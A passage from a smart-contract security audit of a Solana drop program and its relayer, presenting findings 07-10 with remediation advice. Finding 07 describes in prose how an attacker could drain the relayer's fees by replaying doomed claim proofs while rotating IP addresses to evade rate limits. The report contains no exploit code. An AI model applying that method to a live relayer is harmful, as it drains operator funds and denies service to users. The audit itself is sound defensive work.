Relayer marks the deposit nonce as permanently used before the on-chain create_drop is submitted, so a crash in that window strands already-received user funds

INVARIANT A user whose deposit funds have already been received by the relayer (verifyDepositTx ok) must always have a path to get those funds turned into a claimable leaf (or refunded). A persisted single-use nonce must only be permanently retained when the corresponding on-chain create_drop is known to have landed.

AFFECTED CODE

- `relayer/src/routes/deposit.ts:108` — `markProcessed` is called and fsync'd to disk *before* the on-chain submit
- `relayer/src/routes/deposit.ts:142-149` — `sendAndConfirmTransaction`; `unmarkProcessed` only inside the in-process `catch`
- `relayer/src/routes/deposit.ts:85-87` — `hasProcessedNonce` → `409`, the permanent lockout on any retry
- `relayer/src/processed-txs.ts:58-61` — `markProcessed` writes `processed-deposits.json` synchronously
- `relayer/src/processed-txs.ts:33-42` — `load()` re-reads the persisted nonce on restart; comment at `:41` documents "No pruning" (no TTL)
- `relayer/src/processed-txs.ts:64-67` — `unmarkProcessed` is the only removal path; nothing reconciles against the chain
- `relayer/src/verify-deposit.ts:50-129` — `verifyDepositTx` requires the user's funds to have *already* moved to the relayer; the nonce is bound to that one transfer via the memo (`:114`)
- `relayer/src/routes/pool.ts:93, :131-137` — identical defect in the note-pool twin (`create-drop-to-pool`): `markProcessed` at `:93` before submit, `unmarkProcessed` only in the in-process `catch` at `:135`

DESCRIPTION

Invariant: once a user's deposit funds have actually been received by the relayer (the funded System transfer landed and `verifyDepositTx` passed), the user must always retain a path to turn those funds into a claimable Merkle leaf — or to be refunded. A persisted single-use nonce must be permanently retained only when the matching on-chain `create_drop` is *known* to have landed.

The relayer violates this by committing the nonce to durable storage before it has any evidence the on-chain transaction succeeded, and by making that commitment effectively irreversible across a process restart:

- The deposit handler validates the funded transfer, then calls `markProcessed(body.nonce, body.depositTx)` at `relayer/src/routes/deposit.ts:108` — i.e. *before* the network submit at `:142`.
- `markProcessed` (`relayer/src/processed-txs.ts:58-61`) writes the nonce into `processed-deposits.json` synchronously via `save()` (`processed-txs.ts:44-47`), so the nonce is durable on disk the instant `markProcessed` returns.
- The on-chain submit `sendAndConfirmTransaction(...)` runs only afterward (`deposit.ts:142-144`), and the compensating `unmarkProcessed(body.nonce)` (`deposit.ts:147`) is inside the **in-process** `catch` for that one call. It runs only if the call throws while the process is alive.
- If the process dies between `save()` returning and the `catch` executing (SIGKILL, OOM, deploy restart, panic, host loss, RPC hang that outlives a kill), the rollback never runs. On restart, `load()` (`processed-txs.ts:33-42`) re-reads the persisted nonce, and by design there is no expiry — the comment at `processed-txs.ts:41` states "No pruning: nonces are single-use forever (issue #19 / F3)."
- After that, `hasProcessedNonce` returns `true` permanently, so any re-POST is rejected at `deposit.ts:85-87` with `409 "Deposit nonce already used"`. The nonce is bound to one specific funded transfer via the memo (`verify-deposit.ts:114` requires `memo === b.nonce`), so the user cannot mint a fresh nonce for the same already-sent funds without sending more SOL.
- There is no recovery surface: the relayer exposes only six relay routes (`index.ts:71-76`) plus `/health` — no admin, status, or reconcile endpoint — and the deposit path never calls `getSignatureStatus` / `getSignatureStatuses` to reconcile the persisted nonce against what actually landed on chain. `unmarkProcessed` (`processed-txs.ts:64-67`) is the only removal path and nothing on chain ever triggers it.

The net effect: the funds have left the user's wallet into the relayer hot wallet (`verify-deposit.ts:50-129` confirms the transfer source = user, destination = relayer, lamports == amount), but no leaf was ever inserted and the only off-chain handle to recover is a nonce that is now locked closed for all time.

IMPACT

- Who loses what: a benign user whose deposit transfer already credited the relayer loses access to that amount (capped per deposit by `config.maxClaimAmount`, checked at `deposit.ts:81`). The funds are not stolen — they remain in the relayer hot wallet — but the user has no on-chain leaf to claim and no off-chain endpoint to recover, so the funds are functionally lost to that user.
- Preconditions: the relayer process must die in the window between `save()` returning (`deposit.ts:108` / `processed-txs.ts:46`) and the `catch` running (`deposit.ts:145-149`). This is reachable by any ordinary crash, OOM, or deploy restart during normal operation — no attacker privilege is required. The funded transfer must already have landed (otherwise `verifyDepositTx` fails and `markProcessed` is never reached).
- Attacker privilege: none required for the accidental case. An attacker who can force relayer restarts can deliberately enlarge the failure window and increase the rate at which honest deposits get stranded; they cannot extract the stranded funds themselves.
- This is a direct side effect of the issue #19 / F3 replay fix: removing the TTL is exactly what eliminated the one mechanism (eventual nonce expiry) that would have re-opened a stranded

nonce. The replay defense and this availability defect are coupled; the fix below must preserve replay safety while restoring a recovery path.

LAYER 3 — SYMBOLIC VERIFICATION (KANI)

—

LAYER 4 — ON-CHAIN BPF REPRODUCTION

—

REPRODUCTION

This is an off-chain availability defect; the trigger is an ordinary process death, not a fund-drain primitive, so it is established by tracing the durable-state ordering rather than by an on-chain harness:

- User builds and sends the funded deposit transaction: a single System `transfer` with `source = user`, `destination = relayer`, `lamports == amount`, plus one Memo instruction whose content is the 64-hex `nonce` (the exact shape `verify-deposit.ts:81-128` requires). The funds leave the user's wallet and land in the relayer hot wallet.
- User POSTs `/api/relay/create-drop` with `{ leaf, amount, payer, nonce, depositTx }`. The handler validates fields, confirms `!hasProcessedNonce(nonce)` (`deposit.ts:85`), and `verifyDepositTx` returns `ok` (`deposit.ts:97-105`).
- `markProcessed(nonce, depositTx)` runs (`deposit.ts:108`) and `save()` durably writes the nonce to `processed-deposits.json` .
- The relayer process is killed *after* `markProcessed` returns but *before or during* `sendAndConfirmTransaction` (`deposit.ts:142`) — e.g. a deploy restart, OOM kill, panic, or an RPC stall that outlives a SIGKILL. The `catch` at `deposit.ts:145-149` never executes, so `unmarkProcessed` never runs.
- `create_drop` never lands on chain — no Merkle leaf was inserted, so the user has no claimable note.
- On restart, `load()` (`processed-txs.ts:33-42`) repopulates the cache from disk; the nonce is present forever (no TTL, `:41`). Every retry of the same deposit hits `hasProcessedNonce` → `409 "Deposit nonce already used"` (`deposit.ts:85-87`). The nonce is welded to the already-sent transfer by the memo binding (`verify-deposit.ts:114`), so the user cannot obtain a usable fresh nonce for those same funds without sending more SOL. With no status/reconcile endpoint (`index.ts:71-76`) and no `getSignatureStatus` reconciliation, neither the user nor the operator has any path to recover. The funds sit in the relayer wallet with no on-chain instruction and no off-chain recovery API — permanently stuck.

The window can be widened deliberately: an attacker who can induce relayer restarts (e.g. via the unverified-V3 gas-drain in L2-08 / M-01, or by exhausting the per-IP-only rate limit) raises the probability of catching a victim's deposit mid-window. The same defect exists verbatim in the note-pool twin (`pool.ts:93` mark, `:131-137` submit/unmark), so both the base and pool deposit relays are affected.

RECOMMENDED FIX

Make the durable "this nonce is consumed" record reflect *on-chain truth* rather than *intent to submit*, and provide a reconciliation path:

- Do not durably commit a "finalized" nonce before the submit succeeds. Persist a two-phase record: write a `pending` entry (nonce + `depositTx` + `ts`) before submit to block concurrent replays, and only promote it to `confirmed` (storing the landed signature) inside the success path after `sendAndConfirmTransaction` returns. Treat `pending` entries as recoverable, not as permanent lockouts.
- On startup, reconcile every `pending` entry against the chain via `getSignatureStatuses` / `getSignatureStatus` and against the recorded `depositTx`: if no `create_drop` landed for that nonce, either re-submit the `create_drop` (the relayer holds all inputs needed to rebuild the instruction) or demote the entry so the user can retry — instead of unconditionally re-reading it as `confirmed` in `load()` (`processed-txs.ts:33-42`).
- Add an authenticated operator reconcile/status endpoint (the route set in `index.ts:71-76` currently has none) that lists `pending`/stuck nonces and lets the operator finalize or refund them, so a stranded but already-funded deposit is recoverable without the user sending more SOL.
- Apply the identical change to the note-pool twin `relayer/src/routes/pool.ts` (`:93`, `:131-137`), which has the same mark-before-submit ordering. Keep the no-TTL replay guard intact for `confirmed` entries — only `pending`/unconfirmed entries become reconcilable, so replay protection for actually-landed deposits is unchanged.

LAYER 2 — CONCRETE PROOF OF CONCEPT

No PoC source on file

LAYER P3 — PROPOSED STRUCTURAL FIX (PATCH DIFF)

Remediation is the code-level recommendation above; no separate patch bundle (recommendation-only finding).

FINDING 07 / 10

MEDIUM L2-08 relayer-gas-drain

Pool-claim relay submits and pays for transactions doomed to revert because it skips the on-chain nullifier pre-check the base endpoint performs

INVARIANT Off-chain pre-verification must reject any request the relayer can foresee will fail on-chain — including a valid proof whose nullifier is already spent — so the relayer never pays a base+priority fee for a TX doomed to revert.

AFFECTED CODE

- `darkdropv4/relayer/src/routes/pool-claim.ts:78-93` — off-chain `verifyClaimProofV3`; checks only proof validity, no on-chain state query
- `darkdropv4/relayer/src/routes/pool-claim.ts:95-138` — builds and sends the TX (sole signer = relayer, fee payer = relayer) with no `getAccountInfo(poolNullifierAccount)` / `getAccountInfo(creditNote)` pre-flight
- `darkdropv4/relayer/src/routes/credit.ts:108-111` — the base endpoint's symmetric guard that the pool endpoint omits (`getAccountInfo(nullifierPDA)` → 409 if spent)
- `darkdropv4/program/programs/darkdrop/src/instructions/claim_from_note_pool.rs:139-146` — `#[account(init, ...)]` on `pool_nullifier_account`, seeds `[b"pool_nullifier", pool_nullifier_hash]` → "already in use" on replay
- `darkdropv4/program/programs/darkdrop/src/instructions/claim_from_note_pool.rs:36-39` — `is_known_root` → `InvalidRoot` (rotated-root variant)
- `darkdropv4/program/programs/darkdrop/src/verifier.rs:193` — `require_canonical_inputs` → `NonCanonicalInput` (non-canonical-input variant)
- `darkdropv4/relayer/src/index.ts:52-59` (+ `:40` `trust proxy`) — per-IP-only rate limiter the attack rotates IPs to defeat

DESCRIPTION

Invariant: off-chain pre-verification must reject any request the relayer can foresee will fail on-chain — including a *valid* proof whose nullifier is already spent — so the relayer never signs and pays a base + priority fee for a transaction that is doomed to revert.

The pool-claim endpoint verifies the V3 Groth16 proof off-chain but then submits the transaction without checking the on-chain state that decides whether the transaction can actually land.

- `verifyClaimProofV3` at `relayer/src/routes/pool-claim.ts:79-93` only attests that the Groth16 proof is mathematically valid against the V3 verifying key. It performs no on-chain state query.
- The endpoint computes `poolNullifierAccount` and `creditNote` PDAs at `pool-claim.ts:99-100`, but uses them only as instruction keys — it never calls `connection.getAccountInfo(...)` on either before building and sending the transaction at `pool-claim.ts:130-138`.

- The sibling base-layer endpoint does exactly the missing pre-flight: `credit.ts:108-111` calls `connection.getAccountInfo(nullifierPDA)` and short-circuits with a 409 if the nullifier PDA already exists, before spending any gas. The pool endpoint is the asymmetric copy that dropped this guard.

On-chain, the only signal that distinguishes a redeemable proof from a doomed one is account state the off-chain verifier never reads. `claim_from_note_pool.rs:139-146` declares `pool_nullifier_account` with `#[account(init, ..., seeds = [b"pool_nullifier", pool_nullifier_hash.as_ref()])]`, so a replay of an already-spent nullifier fails when Anchor tries to `init` the existing PDA ("account already in use"). The transaction reverts with no state harm, but the relayer has already paid the base signature fee plus the priority/compute budget attached at `pool-claim.ts:130-133` (`ComputeBudgetProgram.setComputeUnitLimit({ units: config.v3PoolClaimCu })`). Because the verifier passes (the proof is genuinely valid) and the only distinguishing fact (PDA already exists) is on-chain state it never queries, this is a self-funded gas bleed the off-chain verifier structurally cannot stop.

Two cheaper variants share the same root cause — off-chain verification that does not consult on-chain state:

- A valid proof whose `pool_root` has rotated out of the on-chain 256-slot root history: `verifyClaimProofV3` does not consult on-chain root history, so it returns `true`, but `claim_from_note_pool.rs:36-39` rejects it via `is_known_root` → `InvalidRoot`. Same paid-then-reverted bleed.
- A non-canonical-but-verifying public input: snarkjs reduces inputs mod r and accepts them, but `verifier.rs:193` `require_canonical_inputs` rejects them on-chain → `NonCanonicalInput`. Same bleed.

The rate limiter at `index.ts:52-59` is mounted on the `/api/relay` prefix with `app.set("trust proxy", 1)` (`index.ts:40`), so it keys on client IP. An attacker rotates source IPs to defeat the per-IP cap and submit each doomed proof many times.

IMPACT

- Who loses what: the relayer operator loses SOL from the relayer hot wallet — one base signature fee plus the attached compute/priority budget per doomed submission — with no offsetting on-chain effect. Sustained replay drains the relayer keypair and, once it can no longer pay fees, denies relay service to all legitimate pool claimants (the gas-sponsorship the relayer exists to provide).
- Preconditions: the relayer is running and funded; the attacker possesses one proof that off-chain verification accepts (a spent-nullifier proof, a rotated-root proof, or a non-canonical-input proof — any of these is obtainable without secrets).
- Attacker privilege: none beyond network access to the public endpoint and the ability to rotate source IPs to defeat the per-IP rate limit. No funds are stolen and no user is directly harmed on-chain; the harm is operator fee-drain and the resulting service degradation.

This is the narrowed, still-live residual of M-01 after the off-chain verifier was added. The verifier catches *invalid* proofs; it does not catch *valid-yet-doomed* ones, because the on-chain-state pre-flight the base credit endpoint has was never ported to the pool endpoint.

LAYER 3 — SYMBOLIC VERIFICATION (KANI)

—

LAYER 4 — ON-CHAIN BPF REPRODUCTION

—

REPRODUCTION

This is an off-chain relayer (TypeScript) defect; the chain reverts cleanly (no state harm), so the loss is realized only as the relayer keypair's spent SOL, not as a program-state corruption a LiteSVM run would surface. The reasoning chain:

- Attacker obtains one valid V3 proof `P` with `pool_nullifier_hash H` — their own legitimately generated pool claim, or one observed in transit / from a public mempool or relayer logs (the proof is the public input set; possessing it requires no secret).
- Attacker POSTs `P` to `/api/relay/pool/claim` repeatedly, rotating source IPs to stay under the per-IP `config.rateLimit.maxRequests` cap mounted at `index.ts:52-59` (`trust proxy` makes the limiter key on the forwarded client IP).
- Each POST: `verifyClaimProofV3(P)` returns `true` at `pool-claim.ts:79-93` (the proof is and remains valid) → the relayer signs and `sendAndConfirmTransaction` at `pool-claim.ts:136` → on-chain, after the first real claim landed, `init` of `pool_nullifier_account` seeds `[b"pool_nullifier", H]` fails with "account already in use" (`claim_from_note_pool.rs:139-146`).
- The transaction reverts, but the relayer already paid the base signature fee plus the compute/priority budget it attached. Repeat to bleed the relayer keypair's SOL.
- Rotated-root and non-canonical-input variants are even cheaper: the attacker does not need an already-spent nullifier, only any proof that off-chain verification accepts but on-chain logic rejects (`InvalidRoot` at `claim_from_note_pool.rs:36-39` , or `NonCanonicalInput` at `verifier.rs:193`).

The "no state harm" claim is confirmed by reading the on-chain handler: the `init` failure (and the `InvalidRoot` / `NonCanonicalInput` rejections) abort the transaction before any account is mutated, so the only cost is the relayer's fee. The asymmetry that makes this live is confirmed by direct comparison: `credit.ts:108-111` does the `getAccountInfo` nullifier pre-check, `pool-claim.ts` does not.

RECOMMENDED FIX

Port the symmetric on-chain-state pre-flight from `credit.ts:108-111` to `pool-claim.ts` , before signing and submitting:

- After computing `poolNullifierAccount` and `creditNote` at `pool-claim.ts:99-100` , call `connection.getAccountInfo(poolNullifierAccount)` (and optionally `getAccountInfo(creditNote)`); if either already exists, return `409` and do not submit — mirroring the base endpoint exactly.
- For the rotated-root variant, query the on-chain `note_pool_tree` root history and reject `pool_root` values that are no longer in the 256-slot window before submitting, so the relayer does

not pay for an `InvalidRoot` revert.

- For the non-canonical-input variant, apply the same canonicality check the program enforces (`require_canonical_inputs`, `verifier.rs:193`) in the off-chain verifier so non-canonical public inputs are rejected pre-submit.
- Harden the limiter so IP rotation does not defeat it: rate-limit per `pool_nullifier_hash` / per proof identity (and/or apply a global per-endpoint budget), so a single doomed proof cannot be resubmitted at scale regardless of source IP. The per-IP `express-rate-limit` at `index.ts:52-59` is necessary but not sufficient against this replay shape.

LAYER 2 — CONCRETE PROOF OF CONCEPT

No PoC source on file

LAYER P3 — PROPOSED STRUCTURAL FIX (PATCH DIFF)

Remediation is the code-level recommendation above; no separate patch bundle (recommendation-only finding).

FINDING 08 / 10

INFO | L2-05 | accounting-underflow

Verified safe: admin_sweep / admin_sweep_spl floor arithmetic cannot be bricked by an over-withdrawal (investigated, not a finding)

INVARIANT outstanding obligations (total_deposited - total_withdrawn) must never be negative; the sweep floor must remain computable for the lifetime of the vault.

DESCRIPTION

The post-state the DoS depends on — `total_withdrawn > total_deposited` — cannot be produced through the program's instructions, because every lamport `withdraw_credit` adds to `total_withdrawn` it must first pass a treasury-balance gate, and the treasury balance is itself `total_deposited - total_withdrawn` by construction.

- `withdraw_credit.rs:116-121` gates the payout on the live treasury balance:
- `available = treasury_lamports - rent.minimum_balance(Treasury::SIZE)`
- `require!(amount ⩽ available, DarkDropError::InsufficientBalance)`
- Only two instructions add lamports to the treasury *and* increment `total_deposited`: `create_drop` (`create_drop.rs:41-50` transfers `amount` in, `:68-70` adds the same `amount` to `total_deposited`). Only two instructions remove lamports from the treasury *and* increment `total_withdrawn`: `withdraw_credit` (`:127-134` debits treasury, `:157-159` adds the same `amount`) and `revoke_drop` (`:97-103` debits, `:113-116` adds). Each pair moves the treasury balance and the counter delta by the **same** value.

Therefore the invariant `treasury_balance_above_rent == total_deposited - total_withdrawn` holds across every state transition. The `require!(amount ⩽ available)` at `withdraw_credit.rs:121` is exactly the obligation floor the hypothesis assumed was *missing*: it caps each withdrawal at the remaining treasury balance, so the cumulative sum of withdrawals can never exceed the cumulative sum of deposits, and `total_withdrawn` can never overtake `total_deposited`. The `checked_sub` at `admin_sweep.rs:21` thus never underflows on a vault driven only by program instructions.

The SPL twin is symmetric: `withdraw_credit_spl.rs:90-93` gates on `mint_vault.amount ⩾ amount` and `:136-138` increments `mint_config.total_withdrawn` by the same `amount`, so `admin_sweep_spl.rs:46-49` is protected identically.

IMPACT

Informational. No security impact.

LAYER 3 — SYMBOLIC VERIFICATION (KANI)

—

LAYER 4 — ON-CHAIN BPF REPRODUCTION

—

REPRODUCTION

This is an investigated-and-cleared item, so the reproduction is a refutation rather than a successful exploit:

- L3 PoC: `poc/L2-05_admin_sweep_underflow_REFUTED.rs`. The harness header records the disposition directly (lines 2-4): "status: FLAWED/REFUTED at L3 | reachable=False ... the claimed DoS post-state (total_withdrawn > total_deposited) is unreachable on HEAD. The 'missing floor' it relies on is in fact enforced indirectly by the treasury balance gate at withdraw_credit.rs:118-121, since treasury_balance == total_deposited - total_withdrawn by construction." The end-to-end test `l2_05_floor_underflow_dos` cannot reach step 6 (the asserted `admin_sweep` revert) because step 5's real `withdraw_credit` of `Y` is rejected by the balance gate — the over-withdraw the DoS chains off of does not land. The only way the harness exhibits the underflow is its second test, `l2_05_floor_underflow_isolated_no_snark` (lines 260-311), which **hand-writes** a corrupted vault via `svm.set_account` with `total_deposited = 1, total_withdrawn = 2`. That demonstrates only the arithmetic in isolation, not a reachable state — confirming the guard is needed but the precondition is unreachable.
- L4: the Kani solvency harness passes — no underflow occurs under the maintained invariant `treasury_balance_above_rent == total_deposited - total_withdrawn`.

RECOMMENDED FIX

No fix required for the underflow itself — the `checked_sub` + `Err(Overflow)` pattern at `admin_sweep.rs:21-23`, `admin_sweep_spl.rs:46-49`, and `revoke_drop.rs:82-84` is the correct fail-closed behavior and should be retained. Two hardening notes:

- Keep the treasury/mint-vault balance gate at `withdraw_credit.rs:116-121` and `withdraw_credit_spl.rs:90-93` as the *primary* enforcer of the `total_withdrawn ≤ total_deposited` invariant; do not refactor it away on the assumption the counter math alone protects solvency — it is the balance gate, not the counters, that bounds withdrawals.
- When the H-02 value-binding fix lands (L2-01), and when reviewing any migration that touches `total_deposited` / `total_withdrawn` (L2-03), re-confirm the construction-equality invariant `treasury_balance_above_rent == total_deposited - total_withdrawn` still holds, since that equality is the load-bearing reason this floor never underflows.

LAYER 2 — CONCRETE PROOF OF CONCEPT

No PoC source on file

LAYER P3 — PROPOSED STRUCTURAL FIX (PATCH DIFF)

Remediation is the code-level recommendation above; no separate patch bundle (recommendation-only finding).

FINDING 09 / 10

INFO L2-09 spl-bounds-reuse

SPL deposit bounds are denominated in SOL lamports, not the mint's own base units

INVARIANT Deposit amount bounds should be expressed in the asset's own units so the min-deposit anti-dust floor and the per-asset cap are meaningful for every supported mint.

AFFECTED CODE

- `darkdropv4/program/programs/darkdrop/src/instructions/create_drop_spl.rs:36-40`
- `darkdropv4/program/programs/darkdrop/src/instructions/create_drop_to_pool_spl.rs:50-54`
- `darkdropv4/program/programs/darkdrop/src/state.rs:18-21` (`MAX_DROP_AMOUNT` / `MIN_DEPOSIT_LAMPORTS` are lamport-denominated)

DESCRIPTION

Deposit-amount bounds should be expressed in the asset's own units, so the min-deposit anti-dust floor and the per-deposit value cap carry meaningful economic semantics for every supported mint. The SOL flow defines two such bounds in `state.rs`, both explicitly lamport-denominated:

- `MIN_DEPOSIT_LAMPORTS = 10_000` — "Minimum deposit to prevent tree pollution and Merkle root DoS (0.00001 SOL)" (`state.rs:20-21`).
- `MAX_DROP_AMOUNT = 100_000_000_000` — "Maximum drop amount in lamports (safety cap — 100 SOL initially)" (`state.rs:17-18`), which seeds `Vault.drop_cap` at vault initialization.

Both SPL deposit entrypoints apply these same lamport constants directly to SPL token `amount` values, which are in the mint's own base units (a function of the mint's `decimals`), with no per-decimals scaling:

- `create_drop_spl.rs:36-40` — `require!(amount ⩾ MIN_DEPOSIT_LAMPORTS, ...)` then `require!(amount ⩽ ctx.accounts.vault.drop_cap, ...)` , where `amount` is the SPL base-unit transfer quantity.
- `create_drop_to_pool_spl.rs:50-54` — the identical pair of `require!` checks against the same two constants for the pool-deposit path.

The code comments at `create_drop_spl.rs:30-35` and `create_drop_to_pool_spl.rs:47-49` openly acknowledge this: " `MIN_DEPOSIT_LAMPORTS` and `Vault.drop_cap` are lamport-denominated for SOL. For SPL we reuse them as raw-base-unit thresholds, which is intentionally loose for the first SPL ix... A real per-mint cap will ship later as a `MintConfig` field." So for a 6-decimal stablecoin, the floor of 10,000 base units equals 0.01 token (an arbitrary number, not a meaningful anti-dust floor), and the cap of 100,000,000,000

base units equals 100,000 tokens (an arbitrary ceiling unrelated to the intended ~100-SOL economic limit). The bound values are mis-scaled per mint because the unit they were calibrated in (lamports) is not the unit they are now compared against (mint base units).

IMPACT

No fund loss and no attacker privilege required — this is an economic-semantics / configuration mismatch, not a vulnerability. Concretely:

- Dust-spam protection is mis-scaled per mint. The anti-pollution floor (intended to make Merkle-tree-filling spam costly) may be set far below or above the value that actually deters spam for a given token, weakening the tree-pollution / root-DoS protection it was designed to provide.
- The single-deposit value ceiling no longer reflects the intended ~100-SOL economic risk cap for non-9-decimal mints, so the per-deposit blast-radius limit is arbitrary per token.

Preconditions: at least one SPL mint registered whose `decimals` differ from the 9-decimal SOL convention the constants were calibrated against (i.e. essentially any real stablecoin or token). It affects honest and malicious depositors symmetrically and confers no economic advantage to either, since the per-mint solvency counters and sweep floor are unaffected.

LAYER 3 — SYMBOLIC VERIFICATION (KANI)

—

LAYER 4 — ON-CHAIN BPF REPRODUCTION

—

REPRODUCTION

This is not a fund-drain and there is no exploit harness; it is a characterized correctness/UX observation, so the reasoning is given instead of an attack run:

- `Vault.drop_cap` is initialized from the lamport constant `MAX_DROP_AMOUNT` (`state.rs:18`) and `MIN_DEPOSIT_LAMPORTS` is a hardcoded lamport value (`state.rs:21`). Neither is parameterized per mint.
- The SPL `amount` argument in both `create_drop_spl` and `create_drop_to_pool_spl` is the raw SPL transfer quantity in the mint's base units (the value passed to `token::transfer` at `create_drop_spl.rs:54-64` / `create_drop_to_pool_spl.rs:71-81`).
- The two `require!` bound checks (`create_drop_spl.rs:36-40` , `create_drop_to_pool_spl.rs:50-54`) compare a base-unit quantity against a lamport-calibrated constant with no `decimals` adjustment.
- Therefore, for any mint whose `decimals` differ from the 9-decimal SOL assumption baked into the constants, the effective per-mint dust floor and value cap diverge from their intended economic meaning. The divergence is purely in the meaning of the threshold, not in any value-conservation property.
- No solvency invariant is broken. `admin_sweep_spl` computes its floor as `outstanding = mint_config.total_deposited - mint_config.total_withdrawn` (`admin_sweep_spl.rs:46-49`)

and `max_sweepable = mint_vault.amount - outstanding` (`admin_sweep_spl.rs:51-56`). Both `total_deposited` (incremented by the literal transferred `amount` at `create_drop_spl.rs:112-114` and `create_drop_to_pool_spl.rs:129-131`) and `total_withdrawn` are consistent base-unit sums for that mint, so the user-owed floor remains correct regardless of how the deposit bound is scaled.

RECOMMENDED FIX

Move the deposit bounds onto `MintConfig` so they are expressed in each mint's own base units, exactly as the in-code comment anticipates ("A real per-mint cap will ship later as a `MintConfig` field"):

- Add `min_deposit: u64` and `max_drop_amount: u64` fields to `MintConfig` (`state.rs:393-419`), set at `initialize_mint_config` time per the mint's `decimals` and intended economic floor/cap, and bump `MintConfig::SIZE` accordingly (`state.rs:421-432`).
- In `create_drop_spl.rs:36-40` and `create_drop_to_pool_spl.rs:50-54`, replace the comparisons against `MIN_DEPOSIT_LAMPORTS` and `vault.drop_cap` with `ctx.accounts.mint_config.min_deposit` and `ctx.accounts.mint_config.max_drop_amount`.

Until that schema change ships, document the limitation in operator-facing material (a fresh-registration mint should not be relied upon to enforce a meaningful dust floor or value cap), and avoid registering mints whose decimals make the lamport-calibrated thresholds nonsensical.

LAYER 2 — CONCRETE PROOF OF CONCEPT

No PoC source on file

LAYER P3 — PROPOSED STRUCTURAL FIX (PATCH DIFF)

Remediation is the code-level recommendation above; no separate patch bundle (recommendation-only finding).

FINDING 10 / 10

INFO L2-10 stale-comment

Comment in claim_credit_spl claims `pubkey_to_field` is a local copy, but the file imports and calls the shared `poseidon::pubkey_to_field`

INVARIANT Comments describing safety-critical crypto encoding must reflect the actual code so future maintainers do not 'fix' a non-problem or trust a wrong mental model.

AFFECTED CODE

- `darkdropv4/program/programs/darkdrop/src/instructions/claim_credit_spl.rs:59-63` — comment claiming `pubkey_to_field` is "duplicated locally"
- `darkdropv4/program/programs/darkdrop/src/instructions/claim_credit_spl.rs:6` — actual `use crate::poseidon::{poseidon_hash, pubkey_to_field};` import that contradicts the comment
- `darkdropv4/program/programs/darkdrop/src/instructions/claim_credit_spl.rs:64` — call site `pubkey_to_field(&ctx.accounts.recipient.key())` using the shared import
- `darkdropv4/program/programs/darkdrop/src/poseidon.rs:36` (with history note at `:34-35`) — the single shared definition the comment denies exists
- `darkdropv4/program/programs/darkdrop/src/instructions/claim_credit.rs:5,40` — sibling file imports/calls the same shared function, refuting "internal items of claim_credit.rs"

DESCRIPTION

Comments that describe safety-critical cryptographic encoding must match the code they sit on, so a future maintainer does not build a wrong mental model and either skip auditing the real function or "fix" a non-problem.

The doc comment at `claim_credit_spl.rs:59-63` asserts that the recipient field-element function "is duplicated locally so this file does not depend on internal items of claim_credit.rs (which is audited code we choose not to touch)." That statement is false on the current code at two levels:

- `claim_credit_spl.rs:6` imports `pubkey_to_field` directly from the shared module: `use crate::poseidon::{poseidon_hash, pubkey_to_field};`. The recipient hash at `claim_credit_spl.rs:64` calls that imported function — there is no local re-implementation in the file.
- The thing the comment claims to be avoiding does not exist either. `claim_credit.rs:5` imports the same `crate::poseidon::pubkey_to_field` and calls it at `claim_credit.rs:40`. The function was never an "internal item of claim_credit.rs"; it is a single shared definition.

The shared definition itself, `poseidon.rs:36`, carries the contradicting history in its own doc comment (`poseidon.rs:34-35`): "Audit 06 L-03 consolidated the previously-duplicated copies here to remove drift risk." So the consolidation already happened; the `claim_credit_spl.rs` comment describes the pre-consolidation world that no longer exists.

This is documentation drift, not an exploitable defect. The actual encoding is correct and shared, which is the desired state.

IMPACT

No runtime impact, no fund loss, no preconditions, no attacker privilege required — this is purely a maintainer-facing hazard. The risk is downstream cognitive: an auditor or maintainer who trusts the comment may (a) skip auditing the real shared `poseidon::pubkey_to_field`, believing the relevant copy lives inline in this file, or (b) act on the comment literally and re-inline a local copy "to match the comment," which would reintroduce exactly the L-03 encoding drift that the Audit 06 consolidation removed. Because `pubkey_to_field` is the safety-critical on-chain mirror of the circuit's recipient binding (`poseidon.rs:33-34`: it "MUST match the circuit's encoding or every claim flow fails with `InvalidProof`"), a re-inlined copy that later drifts from the circuit would break every SPL claim.

This finding also corrects the audit MAP: section D / watchlist #5 lists `claim_credit_spl.rs:64` as a "local re-implementation" of the recipient hash. At HEAD that line is a call to the shared import, so the watchlist entry is stale for this file and should not be treated as an open duplication-drift surface.

LAYER 3 — SYMBOLIC VERIFICATION (KANI)

—

LAYER 4 — ON-CHAIN BPF REPRODUCTION

—

REPRODUCTION

There is no runtime behavior to reproduce; this is a comment-versus-code mismatch verified by reading the source at HEAD (`64e562b95dad8a901b41f99028f9adba3c3c036e`):

- Read `claim_credit_spl.rs:6` — the file imports `pubkey_to_field` from `crate::poseidon`.
- Read `claim_credit_spl.rs:64` — the recipient hash is computed by calling that imported symbol, not a local function. There is no local `fn pubkey_to_field` anywhere in the file.
- Read `claim_credit_spl.rs:59-63` — the comment nonetheless says the function "is duplicated locally so this file does not depend on internal items of claim_credit.rs." Both clauses are false: nothing is duplicated locally, and the function is not internal to `claim_credit.rs`.
- Read `poseidon.rs:36` and its doc comment at `:34-35` — `pubkey_to_field` is defined once in the shared `poseidon` module, and that comment records that Audit 06 L-03 deliberately consolidated the previously-duplicated copies here to remove drift risk.
- Read `claim_credit.rs:5,40` — the SOL sibling imports and calls the same shared `crate::poseidon::pubkey_to_field`, confirming there is no `claim_credit.rs`-internal copy for the SPL file to avoid depending on.

Outcome: the comment describes a code shape (a local copy, plus a private function inside `claim_credit.rs`) that does not exist on HEAD. No PoC; nothing to execute.

RECOMMENDED FIX

Replace the stale comment with one that states the actual structure. Concretely, at `claim_credit_spl.rs:59-63`, drop the "duplicated locally / does not depend on internal items of claim_credit.rs" wording and say that the recipient field element is produced by the shared `crate::poseidon::pubkey_to_field` (consolidated in Audit 06 L-03 to eliminate drift), which both `claim_credit.rs` and `claim_credit_spl.rs` import so the SOL and SPL recipient-binding encodings cannot diverge. For example:

```
// Recipient field element — Poseidon(hi_128, lo_128). Computed by the
// shared crate::poseidon::pubkey_to_field, which both claim_credit.rs and
// claim_credit_spl.rs import so the SOL and SPL recipient encodings stay
// identical to the circuit's. (Audit 06 L-03 consolidated the previously
// duplicated copies into crate::poseidon to remove drift risk — do NOT
// re-inline a local copy.)
let recipient_hash = pubkey_to_field(&ctx.accounts.recipient.key());
```

Separately, update MAP section D / watchlist #5 to reflect that `claim_credit_spl.rs:64` is a shared-import call site, not a local re-implementation, so the duplication-map matches HEAD.

LAYER 2 — CONCRETE PROOF OF CONCEPT

No PoC source on file

LAYER P3 — PROPOSED STRUCTURAL FIX (PATCH DIFF)

Remediation is the code-level recommendation above; no separate patch bundle (recommendation-only finding).

